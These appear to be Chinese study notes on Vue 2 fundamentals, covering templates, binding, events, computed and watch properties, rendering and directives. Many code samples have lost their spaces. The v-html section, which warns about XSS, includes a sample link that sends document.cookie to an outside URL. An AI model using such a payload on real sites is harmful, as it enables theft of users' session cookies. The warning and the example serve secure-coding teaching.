vue核心

初识Vue

搭建基础框架

<!DOCTYPE html>

<htmllang="en">

<head>

<metacharset="UTF-8">

<title>初识Vue</title>

<!-- 引入Vue -->

<scriptsrc="../vue.js"></script>

</head>

<body>

<!-- 准备一个容器 -->

<divid="root"></div>


<script>

// 设置为 false 以阻止 vue-devtools 检查代码

Vue.config.devtools=false

// 设置为 false 以阻止 vue 在启动时生成生产提示

Vue.config.productionTip=false

</script>

</body>

</html>


创建Vue实例

<!-- 准备一个容器 -->

<divid="root">

<!-- {{name}} 读取数据 -->

<h1>Hello, {{name}}</h1>

</div>

<script>

...

// 创建Vue实例

newVue({

// el:用于指定当前Vue实例为哪个容器服务

// 值通常为css选择器字符串,且通常为id

el:'#root',

// data: 用于存储实例数据

// 数据供el所指定的容器使用,值暂时写成一个对象

data: {

name:'World',

       }

   })

</script>


总结

想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象。

root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法。

root容器里的代码被称为Vue模板。

Vue实例和容器是一一对应的。

真实开发中,只有一个Vue实例,并且会配合组件一起使用。

{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中所有对应属性。

注意区分`{{ }}`中内容:js表达式和js代码(语句)

1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:

(1)a

(2)a+b

(3)demo(1)

(4)x===y?'a':'b'

2.代码(语句)

(1)if(){}

(2)for(){}

一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新。

模板语法

Vue中有2中模板语法:

插值语法:

功能: 用于解析标签体内容。

写法:{{xxx}},xxx是js表达式,且可以直接读取到data中xxx所对应的属性。

指令语法:

功能:用于解析标签(包括:标签属性、标签体内容、绑定事件……)。

举例:v-bind:href="xxx" 或简写为 :href="xxx",xxx同样写js表达式,且可以直接读取到data中xxx所对应的属性。

备注:Vue中很多的指令,且形式都是 v-????,此处我们只是拿v-bind举个例子

数据绑定

Vue中有2种数据绑定的方式:

单向绑定(v-bind):

数据只能从data流向页面。

双向绑定(v-model):

数据不仅能从data流向页面,还可以从页面流向data。

备注:

双向绑定一般都应用在表单类元素上(如:input、select等)

v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值

el与data的两种写法

el

写法一:在new Vue时配置el属性

newVue({

el:'#root',

})

写法二:先创建Vue实例,随后通过Vue原型的方法$mount指定el的值,该方法更加灵活

constvue=newVue({})

vue.$mount('#root')//指定el的值

/*

// 可灵活使用,如在计时器中进行异步挂载

setTimeout(() => {

   vue.$mount('#root')

}, 1000)

*/

data

写法一:对象式

newVue({

el:'#root',

data: {

name:'World'

   }

})

写法二:函数式

newVue({

el:'#root',

//data: function() {

//简写为

data() {

console.log('@@@',this)//此处的this是Vue实例对象

return{

name:'World'

       }

   }

})

重要原则

由Vue管理的函数(例:data),一定不要写箭头函数()=>{},一旦写了箭头函数,this就不再是Vue实例了。

MVVM模型

M:模型(Model):对应data中的数据

V:视图(View):模板

VM:视图模型(ViewModel):Vue实例对象

<body>

<!-- View -->

<divid='root'>

<h1>学校名称:{{name}}</h1>

<h1>学校地址:{{address}}</h1>

</div>

</body>

<script>

Vue.config.productionTip=false

// ViewModel

constvm=newVue({

el:'#root',

data: {// Model

name:'中学',

address:'成都'

       }

   })

</script>

【总结】:

data中所有的属性,最后都出现在了vm身上。

vm身上所有的属性 及 Vue原型上所有的属性,在Vue模板中都可以直接使用。

数据代理

Object.defineProperty

基础使用法:固定值

letperson={

name:'张三',

sex:'男',

}

// 给person添加新的属性age,值为18

Object.defineProperty(

person,// 对象

'age',// 新属性名

{// 属性配置项

value:18,// 属性值

enumerable:true,// 控制属性是否可以枚举,默认为false

writable:true,// 控制属性是否可以被修改,默认为false

configurable:true// 控制属性是否可以被删除,默认为false

   }

)

高级使用法:动态值

letperson={

name:'张三',

sex:'男',

}

// 给person添加新的属性age,每次获取时读取number的值

letnumber=18

Object.defineProperty(

person,// 对象

'age',// 新属性名

{// 属性配置项

// 当有人读取person的age属性时,get函数(getter)会被调用,且返回值就是age的值

get() {

console.log('有人读取age属性')

returnnumber

       },

// 当有人修改person的age属性时,set函数(setter)会被调用,且会收到修改的具体值

set(value) {

console.log('有人修改age属性,值为',value)

number=value

       }

   }

)

何为数据代理

通过一个对象代理对另一个对象中属性的操作(读or写)

letobj={x:100}

letobj2={y:200}

Object.defineProperty(obj2,'x', {

get() {

returnobj.x

   },

set(value) {

obj.x=value

   }

})

Vue中的数据代理

Vue中的数据代理:

通过vm对象来代理data对象中属性的操作(读or写)。

Vue中数据代理的好处:

更加方便的操作data中的数据。

基本原理:

通过Object.defineProperty()把data对象中所有属性添加到vm上。

为每一个添加到vm上的属性,都指定一个 getter / setter。

在 getter / setter 内部去操作(读or写)data中对应的属性。

事件处理

基本使用

使用 v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名。

事件的回调需要配置在methods对象中,最终会在vm上。

methods中配置的函数,不要用箭头函数()=>{}!否则this无法指向vm。

methods中配置的函数,都是被Vue所管理的函数,this的指向是 vm 或 组件实例对象。

@click="demo" 和 @click="demo($event)" 效果一直,但后者可以传参。

<divid='root'>

<h2>欢迎来到{{name}}学习</h2>

<!-- <button v-on:click="showInfo">点我提示信息</button> -->

<!-- 简写 -->

<button@click="showInfo1">点我提示信息1(无参)</button>

<button@click="showInfo2(66, $event)">点我提示信息2(传参)</button>

</div>

<script>

Vue.config.productionTip=false

constvm=newVue({

el:'#root',

data: {

name:"学校"

       },

methods: {

showInfo1(event) {

console.log('同学你好',event);

           },

showInfo2(num,event) {

console.log('同学你好!!',num,event);

           }

       },

   })

</script>

事件修饰符

prevent:阻止默认事件(常用)。

<!-- 阻止a标签在点击后跳转链接的事件 -->

<ahref="http://www.baidu.com"@click.prevent="showInfo">点我提示信息</a>

// 结果:仅调用showInfo,不跳转至http://www.baidu.com

stop:阻止事件冒泡(常用)。

<!-- 阻止button点击后,再冒泡至div进行点击 -->

<divclass="demo1"@click="showInfo2">

<button@click.stop="showInfo">点我提示信息</button>

</div>

// 结果:点击button,仅调用showInfo

修饰符可以连续写:

<divclass="demo1"@click="showInfo2">

<ahref="http://www.baidu.com"@click.stop.prevent="showInfo">点我提示信息</a>

</div>

// 结果:点击a,仅调用showInfo,并不跳转至http://www.baidu.com

once:事件只触发一次(常用)。

<!-- 阻止button的第二次及以后的点击事件 -->

<button@click.once="showInfo">点我提示信息</button>

// 结果:仅在第一次点击button时,调用showInfo

capture:使用事件的捕获模式。

<!-- 点击box2时,由于先捕获的box1,所以先执行box1的点击事件 -->

<divclass="box1"@click.capture="showMessage(1)">

   div1

<divclass="box2"@click="showMessage(2)">

       div2

</div>

</div>

// 结果:点击box2,先调用showMessage(1),再调用showMessage(2)

self:只有event.target是当前操作的元素时才触发事件。

<!-- 只有点击事件发生在demo1上时,才触发showInfo2 -->

<divclass="demo1"@click.self="showInfo2">

<button@click="showInfo">点我提示信息</button>

</div>

// 结果:点击button,仅调用showInfo

passive:事件的默认行为立即执行,无需等待事件回调执行完毕。

<!-- passive 事件的默认行为立即执行,无需等待事件回调执行完毕 -->

<!-- scroll:滚动条滚动事件(滚动条到底,滚动事件停止) -->

<!-- wheel:鼠标滚轮滚动事件(即使滚动条到底,鼠标滚轮滚动依然被监听) -->

<!-- <ul class="list" @scroll="scroll"> -->

<ulclass="list"@wheel.passive="wheel">

<li>1</li>

<li>2</li>

<li>3</li>

<li>4</li>

</ul>

<script>

...

methods: {

scroll() {

for(letindex=0;index<100000;index++) {

console.log('@@ scroll')

           }                    

       },

wheel() {

for(letindex=0;index<100000;index++) {

console.log('@@ wheel')

           }

       }

}         

</script>

// 结果:滚动鼠标滚轮,ul立即执行滚动,并调用wheel;

//      去掉passive,则先调用wheel,并在for循环结束后再执行滚动

键盘事件

Vue中常用的按键别名:

回车 => enter

删除 => delete(捕获 “删除” 和 “退格” 键)

退出 => esc

空格 => space

换行 => tab

上 => up

下 => down

左 => left

右 => right

Vue未提供别名的按键,可以使用按键原始的key值来绑,但注意要转为kebab-case(短横线命名)

系统修饰键(用法特殊):ctrl、alt、shift、meta(win键)

配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。

配合keydown使用:正常触发事件。

也可以使用keyCode去指定具体的按键。

@keyup.13 === @keyup.enter

不推荐:因为可能键盘不同可能造成键值不相同

定制按键别名:Vue.config.keyCodes.自定义键名 = 键码

<inputtype="text"placeholder="按下回车提示输入"@keyup.enter="showInfo"/>

<script>

...

methods: {

showInfo(e) {

console.log(e.target.value)

       }

   }

</script>

// 结果:仅在按下回车键时,触发showInfo

计算属性与监视属性

计算属性

定义:要用的属性不存在,需通过已有属性计算得来。

原理:底层借助了Object.defineProperty方法提供的getter和setter。

get函数什么时候执行?

初次读取时会执行一次。

当依赖的数据发生改变时会被再次调用。

优势:与methods实现相比,内部会有缓存机制(可复用),效率更高,调试方便。

【备注】:

计算属性最终会出现在vm上,直接读取使用即可。

如果计算属性要被修改,那必须有set函数去响应修改,且set中要引起计算时依赖的数据发生改变。

<divid='root'>

姓:<inputtype="text"v-model="firstName"/><br/>

名:<inputtype="text"v-model="lastName"/><br/>

全名:<span>{{fullName}}</span>

</div>

<script>

Vue.config.productionTip=false

constvm=newVue({

el:'#root',

data: {

firstName:'张',

lastName:'三'

       },

computed: {

fullName: {

// get的用处:当有人读取fullName时,get被调用,且返回值即为fullName的值

// get什么时候调用?1.初次读取fullname时。2.所依赖的数据发生变化时。

get() {

console.log('get被调用了')

returnthis.firstName+' '+this.lastName

               },

// set什么时候调用?当fullname被修改时

set(value) {

console.log('set被调用了',value)

constarr=value.split(' ')

this.firstName=arr[0]

this.lastName=arr[1]

               }

           },

// 若无需set则有下述简写法

fullName() {

returnthis.firstName+' '+this.lastName

           }

       }

   })

</script>

监视属性

当被监视的属性变化时,回调函数自动调用,进行相关操作。

监视的属性必须存在,才能进行监视。可监视data、computed属性。

监视的两种写法:

new Vue()时传入watch配置;

通过vm.$watch()监视。

<divid='root'>

<h2>今天天气很{{info}}</h2>

<button@click="isHot = !isHot">切换天气</button>

</div>

<script>

Vue.config.productionTip=false

constvm=newVue({

el:'#root',

data: {

isHot:true

       },

computed: {

info() {

returnthis.isHot?'炎热':'凉爽'

           }

       },    

// 监视属性的第一种写法

watch: {

// 完整写法(有其他配置项时)

/*isHot: {                    

                   immediate: true, // 初始化时调用handler,默认为false

                   // handler什么时候调用?当isHot发生改变时

                   handler(newValue, oldValue) {

                       console.log('isHot被修改了', newValue, oldValue)

                   }

               }*/

// 简写(仅有handler)

isHot(newValue,oldValue) {

console.log('isHot被修改了',newValue,oldValue)

           }

       },

   })


// 监视属性的第二种写法:常用于实例化vue时未知是否要监视属性

// 完整写法(有其他配置项时)

/*vm.$watch('isHot', {

       // handler什么时候调用?当isHot发生改变时

       handler(newValue, oldValue) {

           console.log('isHot被修改了', newValue, oldValue)

       }

   })*/

// 简写(仅有handler)

vm.$watch('isHot',function(newValue,oldValue) {

console.log('isHot被修改了',newValue,oldValue)

   })

</script>

深度监视

Vue中的watch默认不监测对象内部值的改变(仅一层)。

配置deep: true可以监测对象内部值改变(多层)。

【备注】:

Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以;

使用watch时根据数据的具体结构,决定是否采用深度监视。

<divid='root'>

<h2>今天天气很{{info}}</h2>

<button@click="isHot = !isHot">切换天气</button>

<hr/>

<h3>a的值是{{numbers.a}}</h3>

<button@click="numbers.a ++">a+1</button>

<hr/>

<h3>b的值是{{numbers.b}}</h3>

<button@click="numbers.b ++">b+1</button>

<hr/>

<button@click="numbers={a:2, b:3}">彻底替换numbers</button>

</div>

<script>

Vue.config.productionTip=false

constvm=newVue({

el:'#root',

data: {

isHot:true,

numbers: {

a:1,

b:1

           }

       },

computed: {

info() {

returnthis.isHot?'炎热':'凉爽'

           }

       },

watch: {

isHot: {

handler(newValue,oldValue) {

console.log('isHot被修改了',newValue,oldValue)

               }

           },

// 监视多级结构中某个属性的变化

'numbers.a': {

handler() {

console.log('a被改变了')

               }

           },

// 监视多级结构中所有属性的变化

numbers: {

deep:true,// 配置是否进行深度监测,默认为false

handler() {

console.log('numbers改变了')

               }

           }

       },

   })

</script>

总结

computed与watch之间的区别:

computed 能完成的功能,watch 都可以完成。

watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作。

【重要的小原则】:

所被Vue管理的函数,最好写成普通函数function(){},这样this的指向才是vm或组件实例对象。

所有不被Vue管理的函数(如:定时器回调函数、ajax回调函数等),最好写成箭头函数()=>{},这样this的指向才是vm或组件实例对象。

class与style绑定

class样式

写法::class="xxx",xxx可以是字符串、对象、数组。

字符串:适用于样式类名不确定,需要动态指定。

对象:适用于要绑定的样式个数和名字都确定,但要动态决定是否使用。

数组:适用于要绑定的样式个数或名字都不确定。

<divid='root'>

<!-- 绑定class样式 -- 字符串写法 -- 适用于:样式类名不确定,需要动态指定 -->

<divclass="basic":class="mood"@click="changeMood">{{name}}</div>

<!-- 绑定class样式 -- 数组写法 -- 适用于:要绑定的样式个数或名字都不确定  -->

<divclass="basic":class="classArr">{{name}}</div>

<!-- <div class="basic" :class="['font1', 'font2', 'font3']">{{name}}</div> -->

<!-- <div class="basic" :class="[a, b, c]">{{name}}</div> -->

<!-- 绑定class样式 -- 对象写法 -- 适用于:要绑定的样式个数和名字都确定,但要动态决定是否使用 -->

<divclass="basic":class="classObj">{{name}}</div>

<!-- <div class="basic" :class="{font1: false, font2: false}">{{name}}</div> -->

</div>

<script>

Vue.config.productionTip=false

constvm=newVue({

el:'#root',

data: {

name:'Hello',

mood:'normal',

classArr: ['font1','font2','font3'],

a:'font1',

b:'font2',

c:'font3',

classObj: {

font1:false,

font2:true

           },

       },

methods: {

changeMood() {

constarr=['happy','sad','normal']

constind=Math.floor(Math.random()*3)

this.mood=arr[ind]

           }

       }

   })

</script>

style样式

:style="{fontSize: xxx}",xxx是动态值。

:style="[a, b]",其中a,b是样式对象。

<divid='root'>

<!-- 绑定style样式 -- 对象写法 -->

<divclass="basic":style="styleObj">{{name}}</div>

<!-- 绑定style样式 -- 数组写法(内容其实是对象) -->

<divclass="basic":style="[styleObj, styleObj2]">{{name}}</div>

</div>

<script>

Vue.config.productionTip=false

constvm=newVue({

el:'#root',

data: {

name:'Hello',

styleObj: {

fontSize:'30px',

color:'red'

           },

styleObj2: {

backgroundColor:'orange'

           }

       }

   })

</script>

条件渲染

v-if

写法:

<divv-if="n === 1">N==1</div>

<divv-else-if="n === 2">N==2</div>

<divv-else-if="n === 3">N==3</div>

<divv-else>N哈哈</div>

特点:不展示的DOM元素直接被移除。

注意:v-if 可以和 v-else-if、v-else 一起使用,但要求结构不能被打断。

v-show

写法:

<divv-show="n === 1">N==1</div>

<divv-show="n === 2">N==2</div>

适用于:切换频率较高的场景。

特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

【备注】:

使用 v-if 时,元素可能无法获取到,而使用 v-show 一定可以被获取。

<template></template> 只能和 v-if 配套。

列表渲染

v-for指令

用于展示列表数据。

语法:v-for="(item, index) in xxx" :key="yyy"

可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)。

key的作用

虚拟DOM中key的作用:

key是虚拟DOM对象的标识。

当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下

对比规则:

旧虚拟DOM中找到了与新DOM相同的key:

若虚拟DOM中内容没变,直接使用之前的真实DOM;

若虚拟DOM中内容改变,则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

旧虚拟DOM中未找到与新DOM相同的key:

创建新的真实DOM,随后渲染到页面。

用index作为key可能会引发的问题:

若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ===> 界面效果没有问题,但效率低。

如果结构中还存在输入类的DOM:会产生错误DOM更新 ===> 界面出错。

开发中如何选择key:

最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值。

如果不存在对数据的逆序添加、删除等破坏顺序的操作,仅渲染列表用于展示,也可使用index作为key。

Vue数据监测原理

Vue会监视data中所有层次的数据。

如何监测对象中的数据?

通过setter实现监视,且要在new Vue()时就传入要监测的数据。

对象中后追加的属性,Vue默认不做响应式处理。

如需给后添加的属性做响应式,请使用如下API:

Vue.set(target, propertyName/index, value)

vm.$set(target, propertyName/index, value)

如何监测数组中的数据?

通过包裹数组更新元素的方法实现,本质就是做了两件事:

1)调用原生对应的方法对数组进行更新。

2)重新解析模板,进而更新页面。

在Vue修改数组的某个元素一定要用如下方法:

使用如下API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

Vue.set()或vm.$set()

【特别注意】:

Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性!!!

<script>

Vue.config.productionTip=false

constvm=newVue({

el:'#root',

data: {

student: {

name:'Tom',

age:18,

hobby: ['篮球','游泳','游戏'],

friends: [

{name:'Jerry',age:18},

{name:'Jane',age:17}

               ]

           }

       },

methods: {

// 添加性别属性(默认为男)

addSex() {

// Vue.set(this.student, 'sex', '男')

this.$set(this.student,'sex','男')

           },

// 在列表首位添加一个朋友

addFriendPrev() {

this.student.friends.unshift({name:'Tony',age:18})

           },

// 修改第一个朋友名字为:张三

updateFirstFriendName() {

this.student.friends[0].name='张三'

           },

// 添加爱好

addHobby() {

this.student.hobby.push('学习')

           },

// 修改第一个爱好为:驾驶

updateFirstHobby() {

// this.student.hobby.splice(0, 1, '驾驶')

Vue.set(this.student.hobby,0,'驾驶')

           },

// 过滤爱好中的'篮球'

removeHobby() {

this.student.hobby=this.student.hobby.filter(h=>{

returnh!=='篮球'

               })

           }

       },

   })

</script>

收集表单数据

<input type="text"/>:v-model收集的是value值,用户输入的就是value值。

<input type="radio"/>:v-model收集的是value值,且要给标签配置value值。

<input type="checkbox"/>:

没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,bool值)。

配置input的value属性:

v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,bool值)。

v-model的初始值是数组,那么收集的就是value组成的数组。

【备注】:

v-model的三个修饰符:

lazy:失去焦点再收集数据。

number:输入字符串转为有效的数字。

trim:输入首位过滤空格。

过滤器

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

语法:

注册过滤器:Vue.filter(name, callback) 或 new Vue({filters: {}})

使用过滤器:{{ xxx | 过滤器名 }}或v-bind:属性 = "xxx | 过滤器名"

【备注】:

过滤器也可以接收额外参数,多个过滤器也可以串联。

并没有改变原本的数据,是产生新的对应数据。

<div id='root'>

<h2>显示格式化后的时间</h2>

<h3>过滤器实现,现在是:{{time | fmtFilter}}</h3>

<!-- 过滤器带参数 + 串联 -->

<h3>过滤器实现,现在是:{{time | fmtFilter('YYYY-MM-DD') | mySlice}}</h3> <!-- 绑定属性使用过滤器 -->

<h3:data="msg | mySlice">{{msg}}</h3>

</div>

<div id="root2">

<h2>{{msg | mySlice}}</h2>

</div>

<script>

// 全局过滤器:所有Vue的实例对象都可用

Vue.filter('mySlice',function(val) {

returnval.slice(0,4)

   })

constvm=newVue({

el:'#root',

data: {

time:1635315630000,// 时间戳

msg:'你好,Vue'

       },

filters: {// 局部过滤器:仅vm实例中可用

fmtFilter(val,fmt='YYYY-MM-DD HH:mm:ss') {

console.log('fmtFilter',val,fmt)

returndayjs(val).format(fmt)

           },

       }

   })

constvm2=newVue({

el:'#root2',

data: {msg:'Hello, vue2'}

   })

</script>

内置指令

v-text

作用:向其所在的节点中渲染文本内容。

与插值语法的区别:v-text会替换掉节点中的内容,{{xxx}}则不会。

<divid='root'>

<div>你好,{{name}}</div>

<divv-text="name">你好,</div>

</div>

<script>

constvm=newVue({

el:'#root',

data: {name:'成都'},

   })

</script>

v-html

作用:向指定节点中渲染包含html结构的内容。

与插值语法的区别:

v-html会替换掉节点中所有的内容,{{xxx}}则不会。

v-html可以识别html结构。

【严重注意】:

v-html有安全性问题!!!

在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

<divid='root'>

<div>你好,{{name}}</div>

<divv-html="str"></div>

</div>

<script>

constvm=newVue({

el:'#root',

data: {

name:'成都',

str:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我会调用你的cookie</a>'

       },

   })

</script>

v-cloak

v-once

v-once所在节点在初次动态渲染后,就视为静态内容了。

以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<h2v-once>初始的n值是:{{n}}</h2>

v-pre

跳过其所在节点的编译过程。

可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<divid='root'>

<h2v-pre>Vue其实很简单</h2><!-- 推荐此行使用v-pre -->

<h2v-pre>当前的n值是:{{n}}</h2>

<buttonv-pre@click="n++">n+1</button>

</div>

自定义指令

定义语法:

局部指令:

newVue({

directives: {

指令名:{配置对象},// 对象式

    指令名(){}// 函数式

   }

})

全局指令:

Vue.directive(指令名, {配置对象})// 对象式

Vue.directive(指令名,function(){})// 函数式

配置对象中常用的3个回调:

bind:指令与元素成功绑定时调用。

inserted:指令所在元素被插入页面时调用。

update:指令所在模板结构被重新解析时调用。

【备注】:

指令定义时不加v-,但使用时要加。

指令名如果是多个单词,要使用xxx-yyy命名方式,不要使用驼峰式。

<divid='root'>

<!-- 需求1:定义一个v-big指令,与v-text指令类似,但会把绑定的数值放大10倍 -->

<h3>当前的n值是:<spanv-text="n"></span></h3>

<h3>放大10倍的n值是:<spanv-big="n"></span></h3>

<h3>放大10倍的n值是:<spanv-big-number="n"></span></h3>

<button@click="n++">n+1</button>

<hr>

<!-- 需求2:定义一个v-fbind指令,与v-bind指令类似,但可以让其所绑定的input元素默认获取焦点 -->

<inputtype="text"v-fbind:value="n">

</div>

<script>

// 全局自定义指令(对象式)

Vue.directive('fbind', {

// 指令与元素成功绑定时

bind(element,binding) {

element.value=binding.value

       },

// 指令所在元素被插入页面时

inserted(element) {

element.focus()

       },

// 指令所在的模板被重新解析时

update(element) {

element.focus()

       }

   })

/* // 全局自定义指令(函数式)

       Vue.directive('big', function(element, binding) {

           element.innerText = binding.value * 10                    

       })

       */

constvm=newVue({

el:'#root',

data: {n:1},

directives: {// 局部自定义指令            

// 何时调用? --- 1.指令与元素成功绑定时。2.指令所在模板被重新解析时。

// 定义v-big指令

big(element,binding) {

element.innerText=binding.value*10

           },

// 定义v-big-number指令

'big-number'(element,binding) {

element.innerText=binding.value*10

           },

       },            

   })

</script>

生命周期

常用的生命周期钩子:

mouted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。

beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例:

销毁后借助vue开发者工具看不到任何信息。

销毁后自定义事件会失效,但原生DOM事件依然有效。

一般不会在beforeDestroy操作数据,因为即使操作数据,也不会再触发更新流程了。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,530评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,403评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,120评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,770评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,758评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,649评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,021评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,675评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,931评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,751评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,410评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,004评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,969评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,042评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,493评论 2 343

推荐阅读更多精彩内容